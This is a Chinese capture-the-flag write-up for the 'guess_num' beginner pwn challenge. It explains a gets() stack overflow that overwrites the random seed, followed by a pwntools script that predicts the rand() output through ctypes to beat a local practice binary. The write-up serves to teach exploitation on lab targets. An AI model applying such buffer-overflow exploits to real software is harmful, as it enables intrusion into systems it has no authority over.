攻防世界-pwn新手区-guess_num
运行一下

checksec和file


发现get()危险函数,该函数可以进行任意长度的输入
下面有seed函数,该函数为C语言中产生随机数的种子。
查看一下其栈空间

我们可以去覆盖一下这个seed地址
看了一下其他大佬的博客,知道可以用python的内置函数ctypes,进行C语言代码的调试
计算机里面不可能产生完全随机数,他会产生一个伪随机数,任何一个函数操作,理论上每次返回的值是一样的
为了每次调用的时候,返回值都不一样,所以有一个种子
只需要将种子覆盖为1,然后调用C语言的libc共享库,得到这个种子产生的随机值,就能够保证每次猜对了。
from pwn import *
from ctypes import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
content = 0
def srand():
lib = cdll.LoadLibrary("libc.so.6")
lib.srand(1)
for i in range(10):
number = str(lib.rand()%6 + 1)
p.recvuntil("Please input your guess number:")
p.sendline(number)
def main():
global p
p = process("guess")
payload = b"a" * (0x30-0x10)
payload = payload + p64(1)
p.recvuntil("Your name:")
p.sendline(payload)
srand()
p.interactive()
main()

浙公网安备 33010602011771号